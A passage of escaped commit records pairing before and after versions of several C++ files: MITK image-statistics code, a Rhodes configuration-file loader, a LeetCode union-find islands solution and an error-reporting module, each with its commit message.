{\n    \/\/ recompute\n    mitk::ImageTimeSelector::Pointer timeSelector = this->GetTimeSelector();\n    if(timeSelector.IsNotNull())\n    {\n      timeSelector->SetTimeNr(t);\n      timeSelector->UpdateLargestPossibleRegion();\n      mitk::Image* image = timeSelector->GetOutput();\n      AccessByItk_2( image, _ComputeExtremaInItkImage, this, t );\n    }\n  }\n  else if(pType.GetNumberOfComponents() > 1)\n  {\n    m_ScalarMin[t] = 0;\n    m_ScalarMax[t] = 255;\n    m_Scalar2ndMin[t] = 0;\n    m_Scalar2ndMax[t] = 255;\n  }\n}\n\n\nmitk::ScalarType mitk::ImageStatisticsHolder::GetScalarValueMin(int t)\n{\n  ComputeImageStatistics(t);\n  return m_ScalarMin[t];\n}\n\nmitk::ScalarType mitk::ImageStatisticsHolder::GetScalarValueMax(int t)\n{\n  ComputeImageStatistics(t);\n  return m_ScalarMax[t];\n}\n\nmitk::ScalarType mitk::ImageStatisticsHolder::GetScalarValue2ndMin(int t)\n{\n  ComputeImageStatistics(t);\n  return m_Scalar2ndMin[t];\n}\n\nmitk::ScalarType mitk::ImageStatisticsHolder::GetScalarValue2ndMax(int t)\n{\n  ComputeImageStatistics(t);\n  return m_Scalar2ndMax[t];\n}\n\nmitk::ScalarType mitk::ImageStatisticsHolder::GetCountOfMinValuedVoxels(int t)\n{\n  ComputeImageStatistics(t);\n  return m_CountOfMinValuedVoxels[t];\n}\n\nmitk::ScalarType mitk::ImageStatisticsHolder::GetCountOfMaxValuedVoxels(int t)\n{\n  ComputeImageStatistics(t);\n  return m_CountOfMaxValuedVoxels[t];\n}\n\n<commit_msg>Disable image statistics for unknown pixel type<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n#include \"mitkImageStatisticsHolder.h\"\n\n#include \"mitkHistogramGenerator.h\"\n\/\/#include \"mitkImageTimeSelector.h\"\n\nmitk::ImageStatisticsHolder::ImageStatisticsHolder( mitk::Image* image)\n  : m_Image(image)\/*, m_TimeSelectorForExtremaObject(NULL)*\/\n{\n  m_CountOfMinValuedVoxels.resize(1, 0);\n  m_CountOfMaxValuedVoxels.resize(1, 0);\n  m_ScalarMin.resize(1, itk::NumericTraits<ScalarType>::max());\n  m_ScalarMax.resize(1, itk::NumericTraits<ScalarType>::NonpositiveMin());\n  m_Scalar2ndMin.resize(1, itk::NumericTraits<ScalarType>::max());\n  m_Scalar2ndMax.resize(1, itk::NumericTraits<ScalarType>::NonpositiveMin());\n\n  mitk::HistogramGenerator::Pointer generator = mitk::HistogramGenerator::New();\n  m_HistogramGeneratorObject = generator;\n\n  \/\/m_Image = image;\n\n  \/\/ create time selector\n  \/\/this->GetTimeSelector();\n}\n\nmitk::ImageStatisticsHolder::~ImageStatisticsHolder()\n{\n  m_HistogramGeneratorObject = NULL;\n  \/\/m_TimeSelectorForExtremaObject = NULL;\n  \/\/m_Image = NULL;\n}\n\nconst mitk::ImageStatisticsHolder::HistogramType* mitk::ImageStatisticsHolder::GetScalarHistogram(int t)\n{\n  mitk::ImageTimeSelector* timeSelector = this->GetTimeSelector();\n  if(timeSelector!=NULL)\n  {\n    timeSelector->SetTimeNr(t);\n    timeSelector->UpdateLargestPossibleRegion();\n\n    mitk::HistogramGenerator* generator = static_cast<mitk::HistogramGenerator*>(m_HistogramGeneratorObject.GetPointer());\n    generator->SetImage(timeSelector->GetOutput());\n    generator->ComputeHistogram();\n    return static_cast<const mitk::ImageStatisticsHolder::HistogramType*>(generator->GetHistogram());\n  }\n  return NULL;\n}\n\nbool mitk::ImageStatisticsHolder::IsValidTimeStep( int t) const\n{\n    return m_Image->IsValidTimeStep(t);\n}\n\nmitk::ImageTimeSelector::Pointer mitk::ImageStatisticsHolder::GetTimeSelector()\n{\n  \/\/if(m_TimeSelectorForExtremaObject.IsNull())\n  \/\/{\n  \/\/  m_TimeSelectorForExtremaObject = ImageTimeSelector::New();\n\n  ImageTimeSelector::Pointer timeSelector = ImageTimeSelector::New();\/\/static_cast<mitk::ImageTimeSelector*>( m_TimeSelectorForExtremaObject.GetPointer() );\n    timeSelector->SetInput(m_Image);\n  \/\/}\n\n  return timeSelector; \/\/static_cast<ImageTimeSelector*>( m_TimeSelectorForExtremaObject.GetPointer() );\n}\n\nvoid mitk::ImageStatisticsHolder::Expand( unsigned int timeSteps )\n{\n  if(! m_Image->IsValidTimeStep(timeSteps - 1) ) return;\n\n  \/\/ The BaseData needs to be expanded, call the mitk::Image::Expand() method\n  m_Image->Expand(timeSteps);\n\n  if(timeSteps > m_ScalarMin.size() )\n  {\n    m_ScalarMin.resize(timeSteps, itk::NumericTraits<ScalarType>::max());\n    m_ScalarMax.resize(timeSteps, itk::NumericTraits<ScalarType>::NonpositiveMin());\n    m_Scalar2ndMin.resize(timeSteps, itk::NumericTraits<ScalarType>::max());\n    m_Scalar2ndMax.resize(timeSteps, itk::NumericTraits<ScalarType>::NonpositiveMin());\n    m_CountOfMinValuedVoxels.resize(timeSteps, 0);\n    m_CountOfMaxValuedVoxels.resize(timeSteps, 0);\n  }\n}\n\nvoid mitk::ImageStatisticsHolder::ResetImageStatistics()\n{\n  m_ScalarMin.assign(1, itk::NumericTraits<ScalarType>::max());\n  m_ScalarMax.assign(1, itk::NumericTraits<ScalarType>::NonpositiveMin());\n  m_Scalar2ndMin.assign(1, itk::NumericTraits<ScalarType>::max());\n  m_Scalar2ndMax.assign(1, itk::NumericTraits<ScalarType>::NonpositiveMin());\n  m_CountOfMinValuedVoxels.assign(1, 0);\n  m_CountOfMaxValuedVoxels.assign(1, 0);\n}\n\n\n#include \"mitkImageAccessByItk.h\"\n\n\/\/#define BOUNDINGOBJECT_IGNORE\n\ntemplate < typename ItkImageType >\nvoid mitk::_ComputeExtremaInItkImage( const ItkImageType* itkImage, mitk::ImageStatisticsHolder* statisticsHolder, int t)\n{\n  typename ItkImageType::RegionType region;\n  region = itkImage->GetBufferedRegion();\n  if(region.Crop(itkImage->GetRequestedRegion()) == false) return;\n  if(region != itkImage->GetRequestedRegion()) return;\n\n  itk::ImageRegionConstIterator<ItkImageType> it(itkImage, region);\n  typedef typename ItkImageType::PixelType TPixel;\n  TPixel value = 0;\n\n  if ( statisticsHolder == NULL || !statisticsHolder->IsValidTimeStep( t ) ) return;\n  statisticsHolder->Expand(t+1); \/\/ make sure we have initialized all arrays\n  statisticsHolder->m_CountOfMinValuedVoxels[t] = 0;\n  statisticsHolder->m_CountOfMaxValuedVoxels[t] = 0;\n\n  statisticsHolder->m_Scalar2ndMin[t]=\n      statisticsHolder->m_ScalarMin[t] = itk::NumericTraits<ScalarType>::max();\n  statisticsHolder->m_Scalar2ndMax[t]=\n      statisticsHolder->m_ScalarMax[t] = itk::NumericTraits<ScalarType>::NonpositiveMin();\n\n  while( !it.IsAtEnd() )\n  {\n    value = it.Get();\n    \/\/  if ( (value > mitkImage->m_ScalarMin) && (value < mitkImage->m_Scalar2ndMin) )        mitkImage->m_Scalar2ndMin = value;\n    \/\/  else if ( (value < mitkImage->m_ScalarMax) && (value > mitkImage->m_Scalar2ndMax) )   mitkImage->m_Scalar2ndMax = value;\n    \/\/  else if (value > mitkImage->m_ScalarMax)                                              mitkImage->m_ScalarMax = value;\n    \/\/  else if (value < mitkImage->m_ScalarMin)                                              mitkImage->m_ScalarMin = value;\n\n    \/\/ if numbers start with 2ndMin or 2ndMax and never have that value again, the previous above logic failed\n#ifdef BOUNDINGOBJECT_IGNORE\n    if( value > -32765)\n    {\n#endif\n      \/\/ update min\n      if ( value < statisticsHolder->m_ScalarMin[t] )\n      {\n        statisticsHolder->m_Scalar2ndMin[t] =\n            statisticsHolder->m_ScalarMin[t];    statisticsHolder->m_ScalarMin[t] = value;\n        statisticsHolder->m_CountOfMinValuedVoxels[t] = 1;\n      }\n      else if ( value == statisticsHolder->m_ScalarMin[t] )\n      {\n        ++statisticsHolder->m_CountOfMinValuedVoxels[t];\n      }\n      else if ( value < statisticsHolder->m_Scalar2ndMin[t] )\n      {\n        statisticsHolder->m_Scalar2ndMin[t] = value;\n      }\n\n      \/\/ update max\n      if ( value > statisticsHolder->m_ScalarMax[t] )\n      {\n        statisticsHolder->m_Scalar2ndMax[t] =\n            statisticsHolder->m_ScalarMax[t];    statisticsHolder->m_ScalarMax[t] = value;\n        statisticsHolder->m_CountOfMaxValuedVoxels[t] = 1;\n      }\n      else if ( value == statisticsHolder->m_ScalarMax[t] )\n      {\n        ++statisticsHolder->m_CountOfMaxValuedVoxels[t];\n      }\n      else if ( value > statisticsHolder->m_Scalar2ndMax[t] )\n      {\n        statisticsHolder->m_Scalar2ndMax[t] = value;\n      }\n#ifdef BOUNDINGOBJECT_IGNORE\n    }\n#endif\n\n    ++it;\n  }\n\n  \/\/\/\/ guard for wrong 2dMin\/Max on single constant value images\n  if (statisticsHolder->m_ScalarMax[t] == statisticsHolder->m_ScalarMin[t])\n  {\n    statisticsHolder->m_Scalar2ndMax[t] = statisticsHolder->m_Scalar2ndMin[t] = statisticsHolder->m_ScalarMax[t];\n  }\n  statisticsHolder->m_LastRecomputeTimeStamp.Modified();\n  \/\/MITK_DEBUG <<\"extrema \"<<itk::NumericTraits<TPixel>::NonpositiveMin()<<\" \"<<mitkImage->m_ScalarMin<<\" \"<<mitkImage->m_Scalar2ndMin<<\" \"<<mitkImage->m_Scalar2ndMax<<\" \"<<mitkImage->m_ScalarMax<<\" \"<<itk::NumericTraits<TPixel>::max();\n}\n\nvoid mitk::ImageStatisticsHolder::ComputeImageStatistics(int t)\n{\n  \/\/ timestep valid?\n  if (!m_Image->IsValidTimeStep(t)) return;\n\n  \/\/ image modified?\n  if (this->m_Image->GetMTime() > m_LastRecomputeTimeStamp.GetMTime())\n    this->ResetImageStatistics();\n\n  Expand(t+1);\n\n  \/\/ do we have valid information already?\n  if( m_ScalarMin[t] != itk::NumericTraits<ScalarType>::max() ||\n      m_Scalar2ndMin[t] != itk::NumericTraits<ScalarType>::max() ) return; \/\/ Values already calculated before...\n\n  const mitk::PixelType pType = m_Image->GetPixelType(0);\n  if(pType.GetNumberOfComponents() == 1 && (pType.GetPixelType() != itk::ImageIOBase::UNKNOWNPIXELTYPE) )\n  {\n    \/\/ recompute\n    mitk::ImageTimeSelector::Pointer timeSelector = this->GetTimeSelector();\n    if(timeSelector.IsNotNull())\n    {\n      timeSelector->SetTimeNr(t);\n      timeSelector->UpdateLargestPossibleRegion();\n      mitk::Image* image = timeSelector->GetOutput();\n      AccessByItk_2( image, _ComputeExtremaInItkImage, this, t );\n    }\n  }\n  else if(pType.GetNumberOfComponents() > 1)\n  {\n    m_ScalarMin[t] = 0;\n    m_ScalarMax[t] = 255;\n    m_Scalar2ndMin[t] = 0;\n    m_Scalar2ndMax[t] = 255;\n  }\n}\n\n\nmitk::ScalarType mitk::ImageStatisticsHolder::GetScalarValueMin(int t)\n{\n  ComputeImageStatistics(t);\n  return m_ScalarMin[t];\n}\n\nmitk::ScalarType mitk::ImageStatisticsHolder::GetScalarValueMax(int t)\n{\n  ComputeImageStatistics(t);\n  return m_ScalarMax[t];\n}\n\nmitk::ScalarType mitk::ImageStatisticsHolder::GetScalarValue2ndMin(int t)\n{\n  ComputeImageStatistics(t);\n  return m_Scalar2ndMin[t];\n}\n\nmitk::ScalarType mitk::ImageStatisticsHolder::GetScalarValue2ndMax(int t)\n{\n  ComputeImageStatistics(t);\n  return m_Scalar2ndMax[t];\n}\n\nmitk::ScalarType mitk::ImageStatisticsHolder::GetCountOfMinValuedVoxels(int t)\n{\n  ComputeImageStatistics(t);\n  return m_CountOfMinValuedVoxels[t];\n}\n\nmitk::ScalarType mitk::ImageStatisticsHolder::GetCountOfMaxValuedVoxels(int t)\n{\n  ComputeImageStatistics(t);\n  return m_CountOfMaxValuedVoxels[t];\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"RhoConf.h\"\n#include \"RhoFile.h\"\n#include \"RhoFilePath.h\"\n#include \"StringConverter.h\"\n\nstatic const char* CONF_FILENAME = \"apps\/rhoconfig.txt\";\n\nextern \"C\" void rho_conf_set_property_by_name(char* name, char* value);\n\nnamespace rho{\nnamespace common{\n\nRhoSettings g_RhoSettings;\n\nvoid RhoSettings::saveToFile(){\n    String strData;\n    saveToString(strData);\n\n    common::CRhoFile oFile;\n    oFile.open(  getConfFilePath().c_str(), common::CRhoFile::OpenForWrite);\n\n    oFile.write( strData.c_str(), strData.size() );\n}\n\nvoid RhoSettings::loadFromFile(){\n    common::CRhoFile oFile;\n    if ( oFile.open( getConfFilePath().c_str(), common::CRhoFile::OpenReadOnly) ){\n        String strSettings;\n        oFile.readString(strSettings);\n        loadFromString( strSettings.c_str() );\n    }\n}\n\nvoid RhoSettings::loadFromString(const char* szSettings){\n    if ( !szSettings && !*szSettings )\n        return;\n\n    const char* start = szSettings;\n\n    while(start!=0){\n        int len = 0;\n\n        const char* end = end = strchr(start,'\\n');\n        if (end){\n            if ( end > start && *(end-1) == '\\r' )\n                len = end-start-1;\n            else\n                len = end-start;\n        }else {\n            len = (int)strlen(start);\n        }\n\n        loadProperty( start, len );\n\n        start = end ? end + 1 : end;\n    }\n}\n\nvoid RhoSettings::loadProperty( const char* start, int len ){\n    int nNameLen = 0;\n    while(*start==' '){ start++; len--;}\n\n    int i = 0;\n    for( i = 0; i < len; i++ ){\n        if ( start[i] == '=' ){\n            if ( i > 0 ){\n                int s = i-1;\n                for(; s >= 0 && start[s]==' '; s-- );\n\n                nNameLen = s+1;\n                break;\n            }else \n                break;\n        }\n    }\n\n    if ( nNameLen == 0 )\n        return;\n\n    const char* szValue = start + i+1;\n    int nValueLen = len - (i+1);\n\n    while(*szValue==' ' || *szValue=='\\'' || *szValue=='\"' && nValueLen >= 0 ){ szValue++; nValueLen--;}\n    while(nValueLen > 0 && (szValue[nValueLen-1]==' ' || szValue[nValueLen-1]=='\\'' || szValue[nValueLen-1]=='\"')) nValueLen--;\n\n    setPropertyByName(start, nNameLen, szValue, nValueLen );\n}\n\nvoid RhoSettings::setPropertyByName(const char* szName, int nNameLen, const char* szValue, int nValueLen ){\n    String name(szName,nNameLen);\n    String value(szValue,nValueLen);\n\tprintf(\"name: %s, value: %s\\n\", name.c_str(), value.c_str());\n    m_mapValues[name] = value;\n}\n\nvoid RhoSettings::saveToString(String& strData){\n\tfor ( std::map<String,String>::iterator it=m_mapValues.begin() ; it != m_mapValues.end(); it++ ) {\n        strData += it->first;\n        strData += \"='\";\n        strData += it->second;\n        strData += \"'\";\n        strData += LOG_NEWLINE;\n\t}\n}\n\nString RhoSettings::getString(const char* szName){\n\tstd::map<String,String>::iterator it = m_mapValues.find(szName);\n\tif ( it != m_mapValues.end() )\n        return it->second;\n\n    return String();\n}\n\nint RhoSettings::getInt(const char* szName){\n\tstd::map<String,String>::iterator it = m_mapValues.find(szName);\n\tif ( it != m_mapValues.end() )\n        return atoi(it->second.c_str());\n\n    return 0;\n}\n\nbool   RhoSettings::getBool(const char* szName){\n    return getInt(szName) == 0 ? false : true;\n}\n\nvoid   RhoSettings::setString(const char* szName, const String& str){\n    m_mapValues[szName] = str;\n}\n\nvoid   RhoSettings::setInt(const char* szName, int nVal){\n    m_mapValues[szName] = common::convertToStringA(nVal);\n}\n\nvoid   RhoSettings::setBool(const char* szName, bool bVal){\n    setInt(szName, bVal?1:0);\n}\n\nbool   RhoSettings::isExist(const char* szName){\n\tstd::map<String,String>::iterator it = m_mapValues.find(szName);\n\treturn it != m_mapValues.end();\n}\n\n}\n}\n\nextern \"C\" {\n\t\nvoid rho_conf_Init(const char* szRootPath){\n\trho::common::CFilePath oRhoPath( szRootPath );\n\n    RHOCONF().setConfFilePath(oRhoPath.makeFullPath(CONF_FILENAME).c_str());\n}\n\nbool rho_conf_getBool(const char* szName) {\n\treturn RHOCONF().getBool(szName);\n}\n\nvoid rho_conf_setBool(const char* szName, bool value) {\n\tRHOCONF().setBool(szName,value);\n}\n\nchar* rho_conf_getString(const char* szName) {\n\treturn strdup(RHOCONF().getString(szName).c_str());\n}\n\nvoid rho_conf_freeString(char* str) {\n\tfree(str);\n}\n\nvoid rho_conf_setString(const char* szName, const char* value){\n\tRHOCONF().setString(szName,value);\n}\n\nvoid rho_conf_save() {\n\tRHOCONF().saveToFile();\n}\n\nchar* str_assign_ex( char* data, int len) \n{\n\tif (data) \n\t{\n\t\tchar* a = (char*)malloc(len+1);\n\t\tstrncpy(a,data,len);\n\t\ta[len] = 0;\n\t\treturn a;\n\t}\n\treturn 0;\n}\n\nchar* str_assign(char* data) \n{\n\tif (data) \n\t{\n\t\tint len = strlen(data);\n\t\treturn str_assign_ex(data,len);\n\t}\n\treturn 0;\n}\n\t\n}\n\n\/\/ RhoConf.set_property_by_name\nvoid rho_conf_set_property_by_name(char* name, char* value)\n{\n\trho_conf_setString(name, value);\n\trho_conf_save();\n}<commit_msg>Fix WM rhoconf<commit_after>#include \"RhoConf.h\"\n#include \"RhoFile.h\"\n#include \"RhoFilePath.h\"\n#include \"StringConverter.h\"\n\nstatic const char* CONF_FILENAME = \"apps\/rhoconfig.txt\";\n\nextern \"C\" void rho_conf_set_property_by_name(char* name, char* value);\n\nnamespace rho{\nnamespace common{\n\nRhoSettings g_RhoSettings;\n\nvoid RhoSettings::saveToFile(){\n    String strData;\n    saveToString(strData);\n\n    common::CRhoFile oFile;\n    oFile.open(  getConfFilePath().c_str(), common::CRhoFile::OpenForWrite);\n\n    oFile.write( strData.c_str(), strData.size() );\n}\n\nvoid RhoSettings::loadFromFile(){\n    common::CRhoFile oFile;\n    if ( oFile.open( getConfFilePath().c_str(), common::CRhoFile::OpenReadOnly) ){\n        String strSettings;\n        oFile.readString(strSettings);\n        loadFromString( strSettings.c_str() );\n    }\n}\n\nvoid RhoSettings::loadFromString(const char* szSettings){\n    if ( !szSettings && !*szSettings )\n        return;\n\n    const char* start = szSettings;\n\n    while(start!=0){\n        int len = 0;\n\n        const char* end = end = strchr(start,'\\n');\n        if (end){\n            if ( end > start && *(end-1) == '\\r' )\n                len = end-start-1;\n            else\n                len = end-start;\n        }else {\n            len = (int)strlen(start);\n        }\n\n        loadProperty( start, len );\n\n        start = end ? end + 1 : end;\n    }\n}\n\nvoid RhoSettings::loadProperty( const char* start, int len ){\n    int nNameLen = 0;\n    while(*start==' '){ start++; len--;}\n\n    int i = 0;\n    for( i = 0; i < len; i++ ){\n        if ( start[i] == '=' ){\n            if ( i > 0 ){\n                int s = i-1;\n                for(; s >= 0 && start[s]==' '; s-- );\n\n                nNameLen = s+1;\n                break;\n            }else \n                break;\n        }\n    }\n\n    if ( nNameLen == 0 )\n        return;\n\n    const char* szValue = start + i+1;\n    int nValueLen = len - (i+1);\n\n    while(*szValue==' ' || *szValue=='\\'' || *szValue=='\"' && nValueLen >= 0 ){ szValue++; nValueLen--;}\n    while(nValueLen > 0 && (szValue[nValueLen-1]==' ' || szValue[nValueLen-1]=='\\'' || szValue[nValueLen-1]=='\"')) nValueLen--;\n\n    setPropertyByName(start, nNameLen, szValue, nValueLen );\n}\n\nvoid RhoSettings::setPropertyByName(const char* szName, int nNameLen, const char* szValue, int nValueLen ){\n    String name(szName,nNameLen);\n    String value(szValue,nValueLen);\n\tprintf(\"name: %s, value: %s\\n\", name.c_str(), value.c_str());\n    m_mapValues[name] = value;\n}\n\nvoid RhoSettings::saveToString(String& strData){\n\tfor ( std::map<String,String>::iterator it=m_mapValues.begin() ; it != m_mapValues.end(); it++ ) {\n        strData += it->first;\n        strData += \"='\";\n        strData += it->second;\n        strData += \"'\";\n        strData += LOG_NEWLINE;\n\t}\n}\n\nString RhoSettings::getString(const char* szName){\n\tstd::map<String,String>::iterator it = m_mapValues.find(szName);\n\tif ( it != m_mapValues.end() )\n        return it->second;\n\n    return String();\n}\n\nint RhoSettings::getInt(const char* szName){\n\tstd::map<String,String>::iterator it = m_mapValues.find(szName);\n\tif ( it != m_mapValues.end() )\n        return atoi(it->second.c_str());\n\n    return 0;\n}\n\nbool   RhoSettings::getBool(const char* szName){\n    return getInt(szName) == 0 ? false : true;\n}\n\nvoid   RhoSettings::setString(const char* szName, const String& str){\n    m_mapValues[szName] = str;\n}\n\nvoid   RhoSettings::setInt(const char* szName, int nVal){\n    m_mapValues[szName] = common::convertToStringA(nVal);\n}\n\nvoid   RhoSettings::setBool(const char* szName, bool bVal){\n    setInt(szName, bVal?1:0);\n}\n\nbool   RhoSettings::isExist(const char* szName){\n\tstd::map<String,String>::iterator it = m_mapValues.find(szName);\n\treturn it != m_mapValues.end();\n}\n\n}\n}\n\nextern \"C\" {\n\t\nvoid rho_conf_Init(const char* szRootPath){\n\trho::common::CFilePath oRhoPath( szRootPath );\n\n    RHOCONF().setConfFilePath(oRhoPath.makeFullPath(CONF_FILENAME).c_str());\n}\n\nbool rho_conf_getBool(const char* szName) {\n\treturn RHOCONF().getBool(szName);\n}\n\nvoid rho_conf_setBool(const char* szName, bool value) {\n\tRHOCONF().setBool(szName,value);\n}\n\nchar* rho_conf_getString(const char* szName) {\n\treturn strdup(RHOCONF().getString(szName).c_str());\n}\n\nvoid rho_conf_freeString(char* str) {\n\tfree(str);\n}\n\nvoid rho_conf_setString(const char* szName, const char* value){\n    RHOCONF().setString(szName,value ? value : \"\");\n}\n\nvoid rho_conf_save() {\n\tRHOCONF().saveToFile();\n}\n\nchar* str_assign_ex( char* data, int len) \n{\n\tif (data) \n\t{\n\t\tchar* a = (char*)malloc(len+1);\n\t\tstrncpy(a,data,len);\n\t\ta[len] = 0;\n\t\treturn a;\n\t}\n\treturn 0;\n}\n\nchar* str_assign(char* data) \n{\n\tif (data) \n\t{\n\t\tint len = strlen(data);\n\t\treturn str_assign_ex(data,len);\n\t}\n\treturn 0;\n}\n\t\n}\n\n\/\/ RhoConf.set_property_by_name\nvoid rho_conf_set_property_by_name(char* name, char* value)\n{\n\trho_conf_setString(name, value);\n\trho_conf_save();\n}<|endoftext|>"}
{"text":"<commit_before>\/\/ Time:  O(n)\n\/\/ Space: O(n)\n\n\/**\n * Definition for a point.\n * struct Point {\n *     int x;\n *     int y;\n *     Point() : x(0), y(0) {}\n *     Point(int a, int b) : x(a), y(b) {}\n * };\n *\/\n\nclass Solution {\npublic:\n    \/**\n     * @param n an integer\n     * @param m an integer\n     * @param operators an array of point\n     * @return an integer array\n     *\/\n    vector<int> numIslands2(int n, int m, vector<Point>& operators) {\n        vector<int> numbers;\n        int number = 0;\n        const vector<pair<int, int>> directions{{0, -1}, {0, 1},\n                                                {-1, 0}, {1, 0}};\n        unordered_map<int, int> set;\n        for (const auto& oper : operators) {\n            const auto& node = make_pair(oper.x, oper.y);\n            set[node_id(node, m)] = node_id(node, m);\n\n            \/\/ For each direction, count distinct islands.\n            unordered_set<int> neighbors;\n            for (const auto& d : directions) {\n                const auto& neighbor = make_pair(oper.x + d.first,\n                                                 oper.y + d.second);\n                if (neighbor.first >= 0 && neighbor.first < n &&\n                    neighbor.second >= 0 && neighbor.second < m &&\n                    set.find(node_id(neighbor, m)) != set.end()) {\n                    neighbors.emplace(find_set(node_id(neighbor, m), &set));\n                }\n            }\n\n            \/\/ For each direction, find and union.\n            for (const auto& d : directions) {\n                const auto& neighbor = make_pair(oper.x + d.first, oper.y + d.second);\n                if (neighbor.first >= 0 && neighbor.first < n &&\n                    neighbor.second >= 0 && neighbor.second < m &&\n                    set.find(node_id(neighbor, m)) != set.end()) {\n                    union_set(&set, node_id(node, m), node_id(neighbor, m));\n                }\n            }\n\n            number += 1 - neighbors.size();\n            numbers.emplace_back(number);\n        }\n        return numbers;\n    }\n\n    int node_id(const pair<int, int>& node, const int m) {\n        return node.first * m + node.second;\n    }\n\n    int find_set(int x, unordered_map<int, int> *set) {\n       if ((*set)[x] != x) {\n           (*set)[x] = find_set((*set)[x], set);  \/\/ path compression.\n       }\n       return (*set)[x];\n    }\n\n    void union_set(unordered_map<int, int> *set, const int x, const int y) {\n        int x_root = find_set(x, set), y_root = find_set(y, set);\n        (*set)[min(x_root, y_root)] = max(x_root, y_root);\n    }\n};\n<commit_msg>Update number-of-islands-ii.cpp<commit_after>\/\/ Time:  O(p), p is number of operators.\n\/\/ Space: O(p)\n\n\/**\n * Definition for a point.\n * struct Point {\n *     int x;\n *     int y;\n *     Point() : x(0), y(0) {}\n *     Point(int a, int b) : x(a), y(b) {}\n * };\n *\/\n\nclass Solution {\npublic:\n    \/**\n     * @param n an integer\n     * @param m an integer\n     * @param operators an array of point\n     * @return an integer array\n     *\/\n    vector<int> numIslands2(int n, int m, vector<Point>& operators) {\n        vector<int> numbers;\n        int number = 0;\n        const vector<pair<int, int>> directions{{0, -1}, {0, 1},\n                                                {-1, 0}, {1, 0}};\n        unordered_map<int, int> set;\n        for (const auto& oper : operators) {\n            const auto& node = make_pair(oper.x, oper.y);\n            set[node_id(node, m)] = node_id(node, m);\n\n            \/\/ For each direction, count distinct islands.\n            unordered_set<int> neighbors;\n            for (const auto& d : directions) {\n                const auto& neighbor = make_pair(oper.x + d.first,\n                                                 oper.y + d.second);\n                if (neighbor.first >= 0 && neighbor.first < n &&\n                    neighbor.second >= 0 && neighbor.second < m &&\n                    set.find(node_id(neighbor, m)) != set.end()) {\n                    neighbors.emplace(find_set(node_id(neighbor, m), &set));\n                }\n            }\n\n            \/\/ For each direction, find and union.\n            for (const auto& d : directions) {\n                const auto& neighbor = make_pair(oper.x + d.first, oper.y + d.second);\n                if (neighbor.first >= 0 && neighbor.first < n &&\n                    neighbor.second >= 0 && neighbor.second < m &&\n                    set.find(node_id(neighbor, m)) != set.end()) {\n                    union_set(&set, node_id(node, m), node_id(neighbor, m));\n                }\n            }\n\n            number += 1 - neighbors.size();\n            numbers.emplace_back(number);\n        }\n        return numbers;\n    }\n\n    int node_id(const pair<int, int>& node, const int m) {\n        return node.first * m + node.second;\n    }\n\n    int find_set(int x, unordered_map<int, int> *set) {\n       if ((*set)[x] != x) {\n           (*set)[x] = find_set((*set)[x], set);  \/\/ path compression.\n       }\n       return (*set)[x];\n    }\n\n    void union_set(unordered_map<int, int> *set, const int x, const int y) {\n        int x_root = find_set(x, set), y_root = find_set(y, set);\n        (*set)[min(x_root, y_root)] = max(x_root, y_root);\n    }\n};\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************\/\n\/**\n**  @file errors.cpp\n**  @brief Error-handling routines.\n**\n**  Created Dec. 97 from earlier routine embedded in child.cpp\n**  $Id: errors.cpp,v 1.7 2004-01-07 10:53:24 childcvs Exp $\n*\/\n\/******************************************************************\/\n\n#include \"errors.h\"\n\n#include <stdlib.h>\n#if !defined(HAVE_NO_NAMESPACE)\n# include <iostream>\nusing namespace std;\n#else\n# include <iostream.h>\n#endif\n\n#define CHILD_ABORT_ON_ERROR \"CHILD_ABORT_ON_ERROR\"\n#define CHILD_ABORT_ON_WARNING \"CHILD_ABORT_ON_WARNING\"\n\n\/*****************************************************************************\\\n**\n**  ReportFatalError:  This is an error-handling routine that prints the\n**                     message errMsg then halts the program.\n**\n**      Parameters:     errMsg -- error message\n**      Called by:\n**      Created: 12\/96 GT\n**\n\\*****************************************************************************\/\nvoid ReportFatalError( const char *errMsg )\n{\n  cout << errMsg <<endl;\n  cout << \"That was a fatal error, my friend!\" <<endl;\n  if (getenv(CHILD_ABORT_ON_ERROR) != NULL)\n    abort();\n  cout << \"(Set \\\"\" CHILD_ABORT_ON_ERROR \"\\\" to generate a crash.)\" <<endl;\n  exit(1);\n}\n\n\n\n\/*****************************************************************************\\\n**\n**  ReportWarning:  This is an error-handling routine that prints the\n**                     message errMsg but does not halt the program unless\n**                     the environment variable CHILD_ABORT_ON_WARNING is set.\n**\n**      Parameters:     errMsg -- error message\n**      Called by:\n**      Created: 9\/03 SL\n**\n\\*****************************************************************************\/\nvoid ReportWarning( const char *errMsg )\n{\n  cout << \"WARNING: \" << errMsg <<endl;\n  if (getenv(CHILD_ABORT_ON_WARNING) != NULL)\n    abort();\n  cout << \"(Set \\\"\" CHILD_ABORT_ON_WARNING \"\\\" to generate a crash.)\" <<endl;\n}\n\n<commit_msg>(Arnaud) more explanations.<commit_after>\/******************************************************************\/\n\/**\n**  @file errors.cpp\n**  @brief Error-handling routines.\n**\n**  Created Dec. 97 from earlier routine embedded in child.cpp\n**  $Id: errors.cpp,v 1.8 2004-05-26 16:24:43 childcvs Exp $\n*\/\n\/******************************************************************\/\n\n#include \"errors.h\"\n\n#include <stdlib.h>\n#if !defined(HAVE_NO_NAMESPACE)\n# include <iostream>\nusing namespace std;\n#else\n# include <iostream.h>\n#endif\n\n#define CHILD_ABORT_ON_ERROR \"CHILD_ABORT_ON_ERROR\"\n#define CHILD_ABORT_ON_WARNING \"CHILD_ABORT_ON_WARNING\"\n\n\/*****************************************************************************\\\n**\n**  ReportFatalError:  This is an error-handling routine that prints the\n**                     message errMsg then halts the program.\n**\n**      Parameters:     errMsg -- error message\n**      Called by:\n**      Created: 12\/96 GT\n**\n\\*****************************************************************************\/\nvoid ReportFatalError( const char *errMsg )\n{\n  cout << errMsg <<endl;\n  cout << \"That was a fatal error, my friend!\" <<endl;\n  if (getenv(CHILD_ABORT_ON_ERROR) != NULL)\n    abort();\n  cout << \"(Set \\\"\" CHILD_ABORT_ON_ERROR \"\\\" to generate a crash.)\" <<endl;\n  exit(1);\n}\n\n\n\n\/*****************************************************************************\\\n**\n**  ReportWarning:  This is an error-handling routine that prints the\n**                     message errMsg but does not halt the program unless\n**                     the environment variable 